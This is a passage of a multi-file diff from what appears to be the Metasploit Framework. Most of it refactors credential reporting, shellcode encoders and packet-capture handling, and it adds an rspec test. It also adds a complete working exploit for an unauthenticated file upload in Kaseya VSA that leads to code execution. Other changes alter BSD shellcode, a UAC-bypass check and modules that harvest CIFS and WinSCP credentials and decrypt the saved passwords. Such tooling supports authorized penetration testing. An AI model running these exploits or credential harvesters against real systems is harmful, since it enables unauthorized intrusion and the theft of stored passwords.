vprint_error("#{peer} [SAP] Login '#{user}' NOT authorized to perform OSExecute calls")
|
||||
end
|
||||
|
||||
report_auth_info(
|
||||
:host => rhost,
|
||||
:sname => 'sap-managementconsole',
|
||||
:proto => 'tcp',
|
||||
:port => rport,
|
||||
:user => user,
|
||||
:pass => pass,
|
||||
:source_type => "user_supplied",
|
||||
:target_host => rhost,
|
||||
:target_port => rport
|
||||
report_cred(
|
||||
ip: rhost,
|
||||
port: port,
|
||||
user: user,
|
||||
password: pass,
|
||||
service_name: 'sap-managementconsole',
|
||||
proof: res.body
|
||||
)
|
||||
else
|
||||
vprint_error("#{peer} [SAP] failed to login as '#{user}':'#{pass}'")
|
||||
|
|
|
@ -124,7 +124,7 @@ class Metasploit4 < Msf::Auxiliary
|
|||
return
|
||||
else
|
||||
print_good("[SAP] #{ip}:#{rport} - User '#{datastore['BAPI_USER']}' with password '#{datastore['BAPI_PASSWORD']}' created")
|
||||
report_auth_info(
|
||||
report_auth(
|
||||
ip: ip,
|
||||
port: rport,
|
||||
service_name: 'sap',
|
||||
|
|
|
@ -31,6 +31,7 @@ class Metasploit3 < Msf::Encoder::Alphanum
|
|||
# being encoded.
|
||||
#
|
||||
def decoder_stub(state)
|
||||
modified_registers = []
|
||||
reg = datastore['BufferRegister']
|
||||
off = (datastore['BufferOffset'] || 0).to_i
|
||||
buf = ''
|
||||
|
@ -41,8 +42,19 @@ class Metasploit3 < Msf::Encoder::Alphanum
|
|||
buf = 'VTX630VXH49HHHPhYAAQhZYYYYAAQQDDDd36FFFFTXVj0PPTUPPa301089'
|
||||
reg = 'ECX'
|
||||
off = 0
|
||||
modified_registers.concat (
|
||||
[
|
||||
Rex::Arch::X86::ESP,
|
||||
Rex::Arch::X86::EDI,
|
||||
Rex::Arch::X86::ESI,
|
||||
Rex::Arch::X86::EBP,
|
||||
Rex::Arch::X86::EBX,
|
||||
Rex::Arch::X86::EDX,
|
||||
Rex::Arch::X86::ECX,
|
||||
Rex::Arch::X86::EAX
|
||||
])
|
||||
else
|
||||
res = Rex::Arch::X86.geteip_fpu(state.badchars)
|
||||
res = Rex::Arch::X86.geteip_fpu(state.badchars, modified_registers)
|
||||
if (not res)
|
||||
raise EncodingError, "Unable to generate geteip code"
|
||||
end
|
||||
|
@ -52,7 +64,15 @@ class Metasploit3 < Msf::Encoder::Alphanum
|
|||
reg.upcase!
|
||||
end
|
||||
|
||||
buf + Rex::Encoder::Alpha2::AlphaMixed::gen_decoder(reg, off)
|
||||
stub = buf + Rex::Encoder::Alpha2::AlphaMixed::gen_decoder(reg, off, modified_registers)
|
||||
|
||||
# Sanity check that saved_registers doesn't overlap with modified_registers
|
||||
modified_registers.uniq!
|
||||
if (modified_registers & saved_registers).length > 0
|
||||
raise BadGenerateError
|
||||
end
|
||||
|
||||
stub
|
||||
end
|
||||
|
||||
#
|
||||
|
@ -69,4 +89,14 @@ class Metasploit3 < Msf::Encoder::Alphanum
|
|||
def encode_end(state)
|
||||
state.encoded += Rex::Encoder::Alpha2::AlphaMixed::add_terminator()
|
||||
end
|
||||
|
||||
# Indicate that this module can preserve some registers
|
||||
def can_preserve_registers?
|
||||
true
|
||||
end
|
||||
|
||||
# Convert the SaveRegisters to an array of x86 register constants
|
||||
def saved_registers
|
||||
Rex::Arch::X86.register_names_to_ids(datastore['SaveRegisters'])
|
||||
end
|
||||
end
|
||||
|
|
|
@ -34,6 +34,7 @@ class Metasploit3 < Msf::Encoder::Alphanum
|
|||
# being encoded.
|
||||
#
|
||||
def decoder_stub(state)
|
||||
modified_registers = []
|
||||
reg = datastore['BufferRegister']
|
||||
off = (datastore['BufferOffset'] || 0).to_i
|
||||
buf = ''
|
||||
|
@ -44,8 +45,15 @@ class Metasploit3 < Msf::Encoder::Alphanum
|
|||
buf = 'VTX630WTX638VXH49HHHPVX5AAQQPVX5YYYYP5YYYD5KKYAPTTX638TDDNVDDX4Z4A63861816'
|
||||
reg = 'ECX'
|
||||
off = 0
|
||||
modified_registers.concat (
|
||||
[
|
||||
Rex::Arch::X86::ESP,
|
||||
Rex::Arch::X86::EDI,
|
||||
Rex::Arch::X86::ESI,
|
||||
Rex::Arch::X86::EAX
|
||||
])
|
||||
else
|
||||
res = Rex::Arch::X86.geteip_fpu(state.badchars)
|
||||
res = Rex::Arch::X86.geteip_fpu(state.badchars, modified_registers)
|
||||
if (not res)
|
||||
raise EncodingError, "Unable to generate geteip code"
|
||||
end
|
||||
|
@ -55,7 +63,15 @@ class Metasploit3 < Msf::Encoder::Alphanum
|
|||
reg.upcase!
|
||||
end
|
||||
|
||||
buf + Rex::Encoder::Alpha2::AlphaUpper::gen_decoder(reg, off)
|
||||
stub = buf + Rex::Encoder::Alpha2::AlphaUpper::gen_decoder(reg, off, modified_registers)
|
||||
|
||||
# Sanity check that saved_registers doesn't overlap with modified_registers
|
||||
modified_registers.uniq!
|
||||
if (modified_registers & saved_registers).length > 0
|
||||
raise BadGenerateError
|
||||
end
|
||||
|
||||
stub
|
||||
end
|
||||
|
||||
#
|
||||
|
@ -72,4 +88,14 @@ class Metasploit3 < Msf::Encoder::Alphanum
|
|||
def encode_end(state)
|
||||
state.encoded += Rex::Encoder::Alpha2::AlphaUpper::add_terminator()
|
||||
end
|
||||
|
||||
# Indicate that this module can preserve some registers
|
||||
def can_preserve_registers?
|
||||
true
|
||||
end
|
||||
|
||||
# Convert the SaveRegisters to an array of x86 register constants
|
||||
def saved_registers
|
||||
Rex::Arch::X86.register_names_to_ids(datastore['SaveRegisters'])
|
||||
end
|
||||
end
|
||||
|
|
|
@ -30,7 +30,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
'BadChars' => '',
|
||||
'DisableNops' => true,
|
||||
},
|
||||
'Platform' => %w{ android bsd java js linux osx nodejs php python ruby solaris unix win },
|
||||
'Platform' => %w{ android bsd java js linux osx nodejs php python ruby solaris unix win mainframe },
|
||||
'Arch' => ARCH_ALL,
|
||||
'Targets' => [ [ 'Wildcard Target', { } ] ],
|
||||
'DefaultTarget' => 0
|
||||
|
|
|
@ -97,7 +97,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
|
||||
print_status("#{rhost}:#{rport} Sending crafted SMB packet from #{shost}...")
|
||||
|
||||
capture_sendto(p, rhost)
|
||||
return unless capture_sendto(p, rhost)
|
||||
|
||||
handler
|
||||
end
|
||||
|
|
|
@ -31,7 +31,8 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
'References' =>
|
||||
[
|
||||
['URL', 'https://docs.oracle.com/javase/8/docs/technotes/guides/jmx/JMX_1_4_specification.pdf'],
|
||||
['URL', 'http://www.accuvant.com/blog/exploiting-jmx-rmi']
|
||||
['URL', 'http://www.accuvant.com/blog/exploiting-jmx-rmi'],
|
||||
['CVE', '2015-2342']
|
||||
],
|
||||
'Platform' => 'java',
|
||||
'Arch' => ARCH_JAVA,
|
||||
|
|
|
@ -204,10 +204,10 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
p.payload = sploit
|
||||
p.recalc
|
||||
|
||||
capture_sendto(p, rhost)
|
||||
sent = capture_sendto(p, rhost)
|
||||
close_pcap
|
||||
|
||||
handler
|
||||
handler if sent
|
||||
else
|
||||
print_status("Sending malformed LWRES packet to #{rhost}")
|
||||
connect_udp
|
||||
|
|
|
@ -215,7 +215,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
|
||||
while true
|
||||
break if session_created? and datastore['ExitOnSession']
|
||||
capture_sendto(p, rhost)
|
||||
break unless capture_sendto(p, rhost)
|
||||
select(nil,nil,nil,datastore['DELAY'])
|
||||
end
|
||||
|
||||
|
|
|
@ -397,6 +397,33 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
create_credential_login(login_data)
|
||||
end
|
||||
|
||||
def report_cred(opts)
|
||||
service_data = {
|
||||
address: opts[:ip],
|
||||
port: opts[:port],
|
||||
service_name: opts[:service_name],
|
||||
protocol: 'tcp',
|
||||
workspace_id: myworkspace_id
|
||||
}
|
||||
|
||||
credential_data = {
|
||||
origin_type: :service,
|
||||
module_fullname: fullname,
|
||||
username: opts[:user],
|
||||
private_data: opts[:password],
|
||||
private_type: :nonreplayable_hash,
|
||||
jtr_format: 'md5,raw-md5'
|
||||
}.merge(service_data)
|
||||
|
||||
login_data = {
|
||||
core: create_credential(credential_data),
|
||||
status: Metasploit::Model::Login::Status::UNTRIED,
|
||||
proof: opts[:proof]
|
||||
}.merge(service_data)
|
||||
|
||||
create_credential_login(login_data)
|
||||
end
|
||||
|
||||
def exploit
|
||||
print_status("#{peer} - Checking for a valid node id...")
|
||||
node_id = get_node
|
||||
|
@ -417,6 +444,14 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
|
||||
for i in 0..count_users - 1
|
||||
user = get_user_data(node_id, i)
|
||||
report_cred(
|
||||
ip: rhost,
|
||||
port: rport,
|
||||
user: user[0],
|
||||
password: user[1],
|
||||
service_name: (ssl ? "https" : "http"),
|
||||
proof: "salt: #{user[2]}"
|
||||
)
|
||||
report_auth_info({
|
||||
:host => rhost,
|
||||
:port => rport,
|
||||
|
|
|
@ -0,0 +1,132 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Exploit::EXE
|
||||
include Msf::Exploit::FileDropper
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Kaseya VSA uploader.aspx Arbitrary File Upload',
|
||||
'Description' => %q{
|
||||
This module exploits an arbitrary file upload vulnerability found in Kaseya VSA versions
|
||||
between 7 and 9.1. A malicious unauthenticated user can upload an ASP file to an arbitrary
|
||||
directory leading to arbitrary code execution with IUSR privileges. This module has been
|
||||
tested with Kaseya v7.0.0.17, v8.0.0.10 and v9.0.0.3.
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
'Pedro Ribeiro <pedrib[at]gmail.com>' # Vulnerability discovery and updated MSF module
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
['CVE', '2015-6922'],
|
||||
['ZDI', '15-449'],
|
||||
['URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/advisories/kaseya-vsa-vuln-2.txt'],
|
||||
['URL', 'http://seclists.org/bugtraq/2015/Sep/132']
|
||||
],
|
||||
'Platform' => 'win',
|
||||
'Arch' => ARCH_X86,
|
||||
'Privileged' => false,
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'Kaseya VSA v7 to v9.1', {} ]
|
||||
],
|
||||
'DefaultTarget' => 0,
|
||||
'DisclosureDate' => 'Sep 23 2015'))
|
||||
end
|
||||
|
||||
|
||||
def check
|
||||
res = send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri('ConfigTab','uploader.aspx')
|
||||
})
|
||||
|
||||
if res && res.code == 302 && res.body && res.body.to_s =~ /mainLogon\.asp\?logout=([0-9]*)/
|
||||
return Exploit::CheckCode::Detected
|
||||
else
|
||||
return Exploit::CheckCode::Unknown
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
def upload_file(payload, path, filename, session_id)
|
||||
print_status("#{peer} - Uploading payload to #{path}...")
|
||||
|
||||
res = send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri('ConfigTab', 'uploader.aspx'),
|
||||
'vars_get' => {
|
||||
'PathData' => path,
|
||||
'qqfile' => filename
|
||||
},
|
||||
'data' => payload,
|
||||
'ctype' => 'application/octet-stream',
|
||||
'cookie' => 'sessionId=' + session_id
|
||||
})
|
||||
|
||||
if res && res.code == 200 && res.body && res.body.to_s.include?('"success": "true"')
|
||||
return true
|
||||
else
|
||||
return false
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
def exploit
|
||||
res = send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri('ConfigTab','uploader.aspx')
|
||||
})
|
||||
|
||||
if res && res.code == 302 && res.body && res.body.to_s =~ /mainLogon\.asp\?logout=([0-9]*)/
|
||||
session_id = $1
|
||||
else
|
||||
fail_with(Failure::NoAccess, "#{peer} - Failed to create a valid session")
|
||||
end
|
||||
|
||||
asp_name = "#{rand_text_alpha_lower(8)}.asp"
|
||||
exe = generate_payload_exe
|
||||
payload = Msf::Util::EXE.to_exe_asp(exe).to_s
|
||||
|
||||
paths = [
|
||||
# We have to guess the path, so just try the most common directories
|
||||
'C:\\Kaseya\\WebPages\\',
|
||||
'C:\\Program Files\\Kaseya\\WebPages\\',
|
||||
'C:\\Program Files (x86)\\Kaseya\\WebPages\\',
|
||||
'D:\\Kaseya\\WebPages\\',
|
||||
'D:\\Program Files\\Kaseya\\WebPages\\',
|
||||
'D:\\Program Files (x86)\\Kaseya\\WebPages\\',
|
||||
'E:\\Kaseya\\WebPages\\',
|
||||
'E:\\Program Files\\Kaseya\\WebPages\\',
|
||||
'E:\\Program Files (x86)\\Kaseya\\WebPages\\',
|
||||
]
|
||||
|
||||
paths.each do |path|
|
||||
if upload_file(payload, path, asp_name, session_id)
|
||||
register_files_for_cleanup(path + asp_name)
|
||||
print_status("#{peer} - Executing payload #{asp_name}")
|
||||
|
||||
send_request_cgi({
|
||||
'uri' => normalize_uri(asp_name),
|
||||
'method' => 'GET'
|
||||
})
|
||||
|
||||
# Failure. The request timed out or the server went away.
|
||||
break if res.nil?
|
||||
# Success! Triggered the payload, should have a shell incoming
|
||||
break if res.code == 200
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
end
|
|
@ -197,7 +197,7 @@ class Metasploit3 < Msf::Exploit::Local
|
|||
winver = sysinfo['OS']
|
||||
|
||||
case winver
|
||||
when /Windows (7|8|2008|2012)/
|
||||
when /Windows (7|8|2008|2012|10)/
|
||||
print_good("#{winver} may be vulnerable.")
|
||||
else
|
||||
fail_with(Failure::NotVulnerable, "#{winver} is not vulnerable.")
|
||||
|
@ -221,7 +221,7 @@ class Metasploit3 < Msf::Exploit::Local
|
|||
paths[:szElevDir] = "#{win_path}\\System32\\sysprep"
|
||||
paths[:szElevDirSysWow64] = "#{win_path}\\sysnative\\sysprep"
|
||||
paths[:szElevExeFull] = "#{paths[:szElevDir]}\\sysprep.exe"
|
||||
when /Windows (8|2012)/
|
||||
when /Windows (8|2012|10)/
|
||||
paths[:szElevDll] = 'NTWDBLIB.dll'
|
||||
paths[:szElevDir] = "#{win_path}\\System32"
|
||||
# This should be fine to be left blank
|
||||
|
|
|
@ -10,7 +10,7 @@ require 'msf/base/sessions/command_shell_options'
|
|||
|
||||
module Metasploit3
|
||||
|
||||
CachedSize = 89
|
||||
CachedSize = 90
|
||||
|
||||
include Msf::Payload::Single
|
||||
include Msf::Payload::Bsd
|
||||
|
@ -46,7 +46,8 @@ module Metasploit3
|
|||
"\x52" +# push %rdx #
|
||||
"\x52" +# push %rdx #
|
||||
"\x52" +# push %rdx #
|
||||
"\x68\x00\x1c\x11\x5c" +# pushq $0x5c111c00 #
|
||||
"\xba\x00\x1c\x11\x5C" +# mov edx,0x5c111c00 #
|
||||
"\x52" +# push %rdx #
|
||||
"\x48\x89\xe6" +# mov %rsp,%rsi #
|
||||
"\x6a\x1c" +# pushq $0x1c #
|
||||
"\x5a" +# pop %rdx #
|
||||
|
|
|
@ -10,7 +10,7 @@ require 'msf/base/sessions/command_shell_options'
|
|||
|
||||
module Metasploit3
|
||||
|
||||
CachedSize = 87
|
||||
CachedSize = 88
|
||||
|
||||
include Msf::Payload::Single
|
||||
include Msf::Payload::Bsd
|
||||
|
@ -44,7 +44,8 @@ module Metasploit3
|
|||
"\x0f\x05" +# syscall #
|
||||
"\x48\x97" +# xchg %rax,%rdi #
|
||||
"\x52" +# push %rdx #
|
||||
"\x68\x00\x02\x11\x5c" +# pushq $0x5c110200 #
|
||||
"\xba\x00\x02\x11\x5C" +# mov edx,0x5c110200 #
|
||||
"\x52" +# push %rdx #
|
||||
"\x48\x89\xe6" +# mov %rsp,%rsi #
|
||||
"\x6a\x10" +# pushq $0x10 #
|
||||
"\x5a" +# pop %rdx #
|
||||
|
|
|
@ -47,10 +47,10 @@ class Metasploit3 < Msf::Post
|
|||
cred = {}
|
||||
# if the fstab line utilizies the credentials= option, read the credentials from that file
|
||||
if (fstab_line =~ /\/\/([^\/]+)\/\S+\s+\S+\s+cifs\s+.*/)
|
||||
host = $1
|
||||
cred[:host] = $1
|
||||
# IPs can occur using the ip option, which is a backup/alternative
|
||||
# to letting UNC resolution do its thing
|
||||
host = $1 if (fstab_line =~ /ip=([^, ]+)/)
|
||||
cred[:host] = $1 if (fstab_line =~ /ip=([^, ]+)/)
|
||||
if (fstab_line =~ /cred(?:entials)?=([^, ]+)/)
|
||||
file = $1
|
||||
# skip if we've already parsed this credentials file
|
||||
|
@ -58,11 +58,13 @@ class Metasploit3 < Msf::Post
|
|||
# store it if we haven't
|
||||
cred_files << file
|
||||
# parse the credentials
|
||||
creds << parse_credentials_file(file)
|
||||
cred.merge!(parse_credentials_file(file))
|
||||
# if the credentials are directly in /etc/fstab, parse them
|
||||
elsif (fstab_line =~ /\/\/([^\/]+)\/\S+\s+\S+\s+cifs\s+.*(?:user(?:name)?|pass(?:word)?)=/)
|
||||
creds << parse_fstab_credentials(fstab_line)
|
||||
cred.merge!(parse_fstab_credentials(fstab_line))
|
||||
end
|
||||
|
||||
creds << cred
|
||||
end
|
||||
end
|
||||
|
||||
|
@ -71,10 +73,15 @@ class Metasploit3 < Msf::Post
|
|||
creds.compact!
|
||||
creds.uniq!
|
||||
creds.each do |cred|
|
||||
# XXX: currently, you can only report_auth_info on an IP or a valid Host. in our case,
|
||||
# host[:host] is *not* a Host. Fix this some day.
|
||||
if (Rex::Socket.dotted_ip?(cred[:host]))
|
||||
report_auth_info({ :port => 445, :sname => 'smb', :type => 'password', :active => true }.merge(cred))
|
||||
report_cred(
|
||||
ip: cred[:host],
|
||||
port: 445,
|
||||
service_name: 'smb',
|
||||
user: cred[:user],
|
||||
password: cred[:pass],
|
||||
proof: '/etc/fstab'
|
||||
)
|
||||
end
|
||||
cred_table << [ cred[:user], cred[:pass], cred[:host], cred[:file] ]
|
||||
end
|
||||
|
@ -93,8 +100,37 @@ class Metasploit3 < Msf::Post
|
|||
end
|
||||
end
|
||||
|
||||
def report_cred(opts)
|
||||
service_data = {
|
||||
address: opts[:ip],
|
||||
port: opts[:port],
|
||||
service_name: opts[:service_name],
|
||||
protocol: 'tcp',
|
||||
workspace_id: myworkspace_id
|
||||
}
|
||||
|
||||
credential_data = {
|
||||
origin_type: :session,
|
||||
module_fullname: fullname,
|
||||
username: opts[:user],
|
||||
private_data: opts[:password],
|
||||
private_type: :password,
|
||||
module_fullname: fullname,
|
||||
session_id: session_db_id,
|
||||
post_reference_name: self.refname
|
||||
}.merge(service_data)
|
||||
|
||||
login_data = {
|
||||
core: create_credential(credential_data),
|
||||
status: Metasploit::Model::Login::Status::UNTRIED,
|
||||
proof: opts[:proof]
|
||||
}.merge(service_data)
|
||||
|
||||
create_credential_login(login_data)
|
||||
end
|
||||
|
||||
# Parse mount.cifs credentials from +line+, assumed to be a line from /etc/fstab.
|
||||
# Returns the username+domain and password as a hash, nil if nothing is found.
|
||||
# Returns the username+domain and password as a hash.
|
||||
def parse_fstab_credentials(line, file="/etc/fstab")
|
||||
creds = {}
|
||||
# get the username option, which comes in one of four ways
|
||||
|
@ -123,11 +159,12 @@ class Metasploit3 < Msf::Post
|
|||
creds[:user] = "#{$1}\\#{creds[:user]}" if (line =~ /dom(?:ain)?=([^, ]+)/)
|
||||
|
||||
creds[:file] = file unless (creds.empty?)
|
||||
(creds.empty? ? nil : creds)
|
||||
|
||||
creds
|
||||
end
|
||||
|
||||
# Parse mount.cifs credentials from +file+, returning the username+domain and password
|
||||
# as a hash, nil if nothing is found.
|
||||
# as a hash.
|
||||
def parse_credentials_file(file)
|
||||
creds = {}
|
||||
domain = nil
|
||||
|
@ -145,6 +182,6 @@ class Metasploit3 < Msf::Post
|
|||
creds[:user] = "#{domain}\\#{creds[:user]}" if (domain and creds[:user])
|
||||
creds[:file] = file unless (creds.empty?)
|
||||
|
||||
(creds.empty? ? nil : creds)
|
||||
creds
|
||||
end
|
||||
end
|
||||
|
|
|
@ -1,5 +1,3 @@
|
|||
# post/windows/gather/enum_vnc_pw.rb
|
||||
|
||||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
|
@ -8,6 +6,7 @@
|
|||
require 'msf/core'
|
||||
require 'rex'
|
||||
require 'rex/parser/ini'
|
||||
require 'rex/parser/winscp'
|
||||
require 'msf/core/auxiliary/report'
|
||||
|
||||
class Metasploit3 < Msf::Post
|
||||
|
@ -15,6 +14,7 @@ class Metasploit3 < Msf::Post
|
|||
include Msf::Auxiliary::Report
|
||||
include Msf::Post::Windows::UserProfiles
|
||||
include Msf::Post::File
|
||||
include Rex::Parser::WinSCP
|
||||
|
||||
def initialize(info={})
|
||||
super(update_info(info,
|
||||
|
@ -73,14 +73,21 @@ class Metasploit3 < Msf::Post
|
|||
portnum = 22
|
||||
end
|
||||
|
||||
winscp_store_config(
|
||||
'FSProtocol' => registry_getvaldata(active_session, 'FSProtocol') || "",
|
||||
'HostName' => registry_getvaldata(active_session, 'HostName') || "",
|
||||
'Password' => password,
|
||||
'PortNumber' => portnum,
|
||||
'UserName' => registry_getvaldata(active_session, 'UserName') || "",
|
||||
)
|
||||
encrypted_password = password
|
||||
user = registry_getvaldata(active_session, 'UserName') || ""
|
||||
fsprotocol = registry_getvaldata(active_session, 'FSProtocol') || ""
|
||||
sname = parse_protocol(fsprotocol)
|
||||
host = registry_getvaldata(active_session, 'HostName') || ""
|
||||
|
||||
plaintext = decrypt_password(encrypted_password, "#{user}#{host}")
|
||||
|
||||
winscp_store_config({
|
||||
hostname: host,
|
||||
username: user,
|
||||
password: plaintext,
|
||||
portnumber: portnum,
|
||||
protocol: sname
|
||||
})
|
||||
end
|
||||
|
||||
if savedpwds == 0
|
||||
|
@ -96,121 +103,62 @@ class Metasploit3 < Msf::Post
|
|||
|
||||
end
|
||||
|
||||
|
||||
def get_ini(filename)
|
||||
print_error("Looking for #{filename}.")
|
||||
# opens the WinSCP.ini file for reading and loads it into the MSF Ini Parser
|
||||
parse = read_file(filename)
|
||||
if parse.nil?
|
||||
print_error("WinSCP.ini file NOT found...")
|
||||
return
|
||||
end
|
||||
|
||||
print_status("Found WinSCP.ini file...")
|
||||
ini = Rex::Parser::Ini.from_s(parse)
|
||||
|
||||
# if a Master Password is in use we give up
|
||||
if ini['Configuration\\Security']['MasterPassword'] == '1'
|
||||
print_status("Master Password Set, unable to recover saved passwords!")
|
||||
return nil
|
||||
end
|
||||
|
||||
# Runs through each group in the ini file looking for all of the Sessions
|
||||
ini.each_key do |group|
|
||||
if group.include?('Sessions') && ini[group].has_key?('Password')
|
||||
winscp_store_config(
|
||||
'FSProtocol' => ini[group]['FSProtocol'],
|
||||
'HostName' => ini[group]['HostName'],
|
||||
'Password' => ini[group]['Password'],
|
||||
'PortNumber' => ini[group]['PortNumber'] || 22,
|
||||
'UserName' => ini[group]['UserName'],
|
||||
)
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
def decrypt_next_char
|
||||
|
||||
pwalg_simple_magic = 0xA3
|
||||
pwalg_simple_string = "0123456789ABCDEF"
|
||||
|
||||
# Decrypts the next character in the password sequence
|
||||
if @password.length > 0
|
||||
# Takes the first char from the encrypted password and finds its position in the
|
||||
# pre-defined string, then left shifts the returned index by 4 bits
|
||||
unpack1 = pwalg_simple_string.index(@password[0,1])
|
||||
unpack1 = unpack1 << 4
|
||||
|
||||
# Takes the second char from the encrypted password and finds its position in the
|
||||
# pre-defined string
|
||||
unpack2 = pwalg_simple_string.index(@password[1,1])
|
||||
# Adds the two results, XORs against 0xA3, NOTs it and then ands it with 0xFF
|
||||
result= ~((unpack1+unpack2) ^ pwalg_simple_magic) & 0xff
|
||||
# Strips the first two chars off and returns our result
|
||||
@password = @password[2,@password.length]
|
||||
return result
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
|
||||
|
||||
def decrypt_password(pwd, key)
|
||||
pwalg_simple_flag = 0xFF
|
||||
@password = pwd
|
||||
flag = decrypt_next_char()
|
||||
|
||||
if flag == pwalg_simple_flag
|
||||
decrypt_next_char()
|
||||
length = decrypt_next_char()
|
||||
else
|
||||
length = flag
|
||||
end
|
||||
ldel = (decrypt_next_char())*2
|
||||
@password = @password[ldel,@password.length]
|
||||
|
||||
result = ""
|
||||
length.times do
|
||||
result << decrypt_next_char().chr
|
||||
end
|
||||
|
||||
if flag == pwalg_simple_flag
|
||||
result = result[key.length, result.length]
|
||||
end
|
||||
|
||||
result
|
||||
end
|
||||
|
||||
def run
|
||||
print_status("Looking for WinSCP.ini file storage...")
|
||||
get_ini(expand_path("%PROGRAMFILES%\\WinSCP\\WinSCP.ini"))
|
||||
print_status("Looking for Registry Storage...")
|
||||
get_reg()
|
||||
print_status("Done!")
|
||||
|
||||
# WinSCP is only x86...
|
||||
if sysinfo['Architecture'] == 'x86'
|
||||
prog_files_env = 'ProgramFiles'
|
||||
else
|
||||
prog_files_env = 'ProgramFiles(x86)'
|
||||
end
|
||||
env = get_envs('APPDATA', prog_files_env, 'USERNAME')
|
||||
|
||||
user_dir = "#{env['APPDATA']}\\..\\.."
|
||||
user_dir << "\\.." if user_dir.include?('Users')
|
||||
|
||||
users = dir(user_dir)
|
||||
users.each do |user|
|
||||
next if user == "." || user == ".."
|
||||
app_data = "#{env['APPDATA'].gsub(env['USERNAME'], user)}\\WinSCP.ini"
|
||||
vprint_status("Looking for #{app_data}...")
|
||||
get_ini(app_data) if file?(app_data)
|
||||
end
|
||||
|
||||
program_files = "#{env[prog_files_env]}\\WinSCP\\WinSCP.ini"
|
||||
|
||||
get_ini(program_files) if file?(program_files)
|
||||
|
||||
print_status("Looking for Registry storage...")
|
||||
get_reg
|
||||
end
|
||||
|
||||
def get_ini(file_path)
|
||||
print_good("WinSCP.ini located at #{file_path}")
|
||||
file = read_file(file_path)
|
||||
stored_path = store_loot('winscp.ini', 'text/plain', session, file, 'WinSCP.ini', file_path)
|
||||
print_status("WinSCP saved to loot: #{stored_path}")
|
||||
parse_ini(file).each do |res|
|
||||
winscp_store_config(res)
|
||||
end
|
||||
end
|
||||
|
||||
def winscp_store_config(config)
|
||||
host = config['HostName']
|
||||
pass = config['Password']
|
||||
portnum = config['PortNumber']
|
||||
proto = config['FSProtocol']
|
||||
user = config['UserName']
|
||||
begin
|
||||
res = client.net.resolve.resolve_host(config[:hostname], AF_INET)
|
||||
ip = res[:ip] if res
|
||||
rescue Rex::Post::Meterpreter::RequestError => e
|
||||
print_error("Unable to store following credentials in database as we are unable to resolve the IP address: #{e}")
|
||||
ensure
|
||||
print_good("Host: #{config[:hostname]}, IP: #{ip}, Port: #{config[:portnumber]}, Service: #{config[:protocol]}, Username: #{config[:username]}, Password: #{config[:password]}")
|
||||
end
|
||||
|
||||
sname = case proto.to_i
|
||||
when 5 then "FTP"
|
||||
when 0 then "SSH"
|
||||
end
|
||||
|
||||
# Decrypt our password, and report on results
|
||||
plaintext = decrypt_password(pass, user+host)
|
||||
print_status("Host: #{host} Port: #{portnum} Protocol: #{sname} Username: #{user} Password: #{plaintext}")
|
||||
return unless ip
|
||||
|
||||
service_data = {
|
||||
# XXX This resolution should happen on the victim side instead
|
||||
address: ::Rex::Socket.getaddress(host),
|
||||
port: portnum,
|
||||
service_name: sname,
|
||||
address: ip,
|
||||
port: config[:portnumber],
|
||||
service_name: config[:protocol],
|
||||
protocol: 'tcp',
|
||||
workspace_id: myworkspace_id,
|
||||
}
|
||||
|
@ -220,8 +168,8 @@ class Metasploit3 < Msf::Post
|
|||
session_id: session_db_id,
|
||||
post_reference_name: self.refname,
|
||||
private_type: :password,
|
||||
private_data: plaintext,
|
||||
username: user
|
||||
private_data: config[:password],
|
||||
username: config[:username]
|
||||
}.merge(service_data)
|
||||
|
||||
credential_core = create_credential(credential_data)
|
||||
|
|
|
@ -17,6 +17,34 @@ describe Msf::Exploit::Capture do
|
|||
subject.should be_a_kind_of Msf::Exploit::Capture
|
||||
end
|
||||
|
||||
context '#capture_sendto' do
|
||||
let(:payload) { Rex::Text::rand_text_alphanumeric(100 + rand(1024)) }
|
||||
|
||||
before(:each) do
|
||||
allow(subject).to receive(:capture).and_return(true)
|
||||
end
|
||||
|
||||
it 'should return the correct number of bytes if the destination MAC can be determined, regardless of broadcast' do
|
||||
allow(subject).to receive(:lookup_eth).and_return(%w(de:ad:be:ef:ca:fe 01:02:03:04:05:06))
|
||||
allow(subject).to receive(:inject_eth).and_return(payload.size)
|
||||
subject.capture_sendto(payload, '127.0.0.1', false).should == payload.size
|
||||
subject.capture_sendto(payload, '127.0.0.1', true).should == payload.size
|
||||
end
|
||||
|
||||
it 'should return false if the destination MAC cannot be determined and broadcast is not desired' do
|
||||
allow(subject).to receive(:lookup_eth).and_return(nil)
|
||||
subject.capture_sendto(payload, '127.0.0.1').should be_falsey
|
||||
subject.capture_sendto(payload, '127.0.0.1', false).should be_falsey
|
||||
end
|
||||
|
||||
it 'should return the correct number of bytes if the destination MAC cannot be determined and broadcast is desired' do
|
||||
allow(subject).to receive(:lookup_eth).and_return(nil)
|
||||
allow(subject).to receive(:inject_eth).and_return(payload.size)
|
||||
subject.capture_sendto(payload, '127.0.0.1', true).should == payload.size
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
